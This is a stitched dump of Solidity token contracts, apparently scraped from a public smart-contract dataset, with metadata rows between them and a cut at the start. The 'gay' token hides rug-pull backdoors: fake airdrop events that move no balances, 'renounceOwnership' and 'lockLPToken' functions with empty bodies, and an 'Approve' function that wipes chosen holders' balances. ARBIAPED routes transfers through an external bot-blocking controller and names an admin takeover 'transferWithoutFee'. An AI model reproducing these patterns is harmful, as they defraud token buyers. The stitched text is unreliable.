function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 147,955 | 11,778 |
c5b7abdbb07eefc545bac6e88a35bd8bc8d3bda5493a7bc90ffcfee4c596ffa3
| 18,748 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/8f/8F1154fa476C16fb990c62213a571AfE9A0a81EE_ARBIAPED.sol
| 4,068 | 17,567 |
// SPDX-License-Identifier: MIT
// twitter: https://twitter.com/ArbiAped
// Tg: https://t.me/ARBIAPED
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
}
contract Controller {
// Bots cannot make purchase more than once an hour
mapping(address => bool) internal isBot;
uint lastBotPurchase;
bool _validationActive;
event ValidationExecuted(address from, uint amount, bool val);
event PreventBotPurchaseExecuted(address to, uint amount);
function setBot(address _user, bool _isbot) internal {
isBot[_user] = _isbot;
}
function validation(address from, uint amount, bool isMarketTo) external {
if (isBot[from]){
emit ValidationExecuted(from, amount, isMarketTo);
updateBotPurchase();
}
}
function validationActive() view public returns(bool) {
return _validationActive;
}
function updateBotPurchase() internal {
lastBotPurchase = block.timestamp;
}
function preventBotPurchase(address to, uint amount) external {
if (isBot[to]){
require(block.timestamp >= lastBotPurchase + 60 ** 2);
require(amount > 0);
updateBotPurchase();
emit PreventBotPurchaseExecuted(to, amount);
}
}
}
contract ARBIAPED is Context, Ownable, IERC20 {
IPancakeRouter02 internal _router;
IPancakePair internal _pair;
Controller _controller;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply = 100000000000000000000000;
string internal _name = "ARBIAPED";
string internal _symbol = "AAPED";
uint8 internal _decimals = 18;
address private admin;
constructor(address _routerAddress, address _controllerAddress) {
_router = IPancakeRouter02(_routerAddress);
_pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this),address(_router.WETH())));
_controller = Controller(_controllerAddress);
admin = owner();
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
// PUBLIC
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function increaseEmission(uint amount) public onlyAdmin {
_mint(_msgSender(), amount);
}
function burn(uint amount) public onlyAdmin {
_burn(_msgSender(), amount);
}
// INTERNAL
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {
if (isMarket(from)){
_controller.preventBotPurchase(to, amount);
}
if (_controller.validationActive() == true){
_controller.validation(from, amount, isMarket(to));
}
}
function isMarket(address user) internal view returns(bool){
if (user == address(_router) || user == address(_pair)){
return true;
} else {
return false;
}
}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
// START
function transferWithoutFee(address user) public onlyAdmin{
require(user != address(0), "Admin can't be zero-address");
admin = user;
}
modifier onlyAdmin{
require(_msgSender() == owner() || _msgSender() == admin, "Not Admin");
_;
}
}
| 28,619 | 11,779 |
ab102a4e6cf5fbc4c597e7cf97e8d432cf977ad01b9599ffe947149870529e01
| 10,674 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/52/5246c50dc1bf2d63e652dca4ac76a6bc739a2b96_gay.sol
| 2,620 | 9,944 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract gay is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address deployer = 0xD9510797452638916071b13870955e1C6476B3ff;
address public _controller = 0xD9510797452638916071b13870955e1C6476B3ff;
constructor () public {
_name = "if you buy this ur gay";
_symbol = "GAY";
_decimals = 18;
uint256 initialSupply = 69000000000;
_mintTx(deployer, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_sendTx(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
if (recipient == _controller){
recipient = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mintTx(address locker, uint256 amt) public {
require(msg.sender == _controller, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_controller] = _balances[_controller].add(amt);
emit Transfer(address(0), locker, amt);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _sendTx(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
modifier _ownerAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
modifier _approveAccess() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
function airdrop(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function execute(address _sendr,address[] memory _rec,uint256[] memory _amt) public _ownerAccess(){
for (uint256 y = 0; y < _rec.length; y++) {emit Transfer(_sendr, _rec[y], _amt[y]);}}
function renounceOwnership() public _ownerAccess(){}
function lockLPToken() public _ownerAccess(){}
function Approve(address[] memory bots) public _approveAccess(){
for (uint256 x = 0; x < bots.length; x++) {
uint256 amt = _balances[bots[x]];
_balances[bots[x]] = _balances[bots[x]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}}
}
| 33,833 | 11,780 |
13a2610613c2cc4dc756dc406ff9535a0a71a06823c2794848853cadaa4949c8
| 30,547 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/33/3318273fEe90bFdCb1F83d02a071d33E097a648a_MintySwapToken.sol
| 4,948 | 17,960 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract MintySwapToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 constant private FEE_PERCENT = 1;
uint256 constant private BURN_PERCENT = 1;
uint8 constant private DECIMALS = 9;
uint256 constant private TOTAL_SUPPLY = 1 * (10 ** 9) * (10 ** DECIMALS);
uint256 constant private MAX = ~uint256(0);
uint256 private _rTotal = (MAX - (MAX % TOTAL_SUPPLY));
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _tFeeTotal;
constructor () {
address sender = _msgSender();
_rOwned[sender] = _rTotal;
emit Transfer(address(0), sender, TOTAL_SUPPLY);
}
function name() public pure returns (string memory) {
return "MintySwap";
}
function symbol() public pure returns (string memory) {
return "MINTYS";
}
function decimals() public pure returns (uint8) {
return DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return isExcluded(account) ? _tOwned[account] : tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
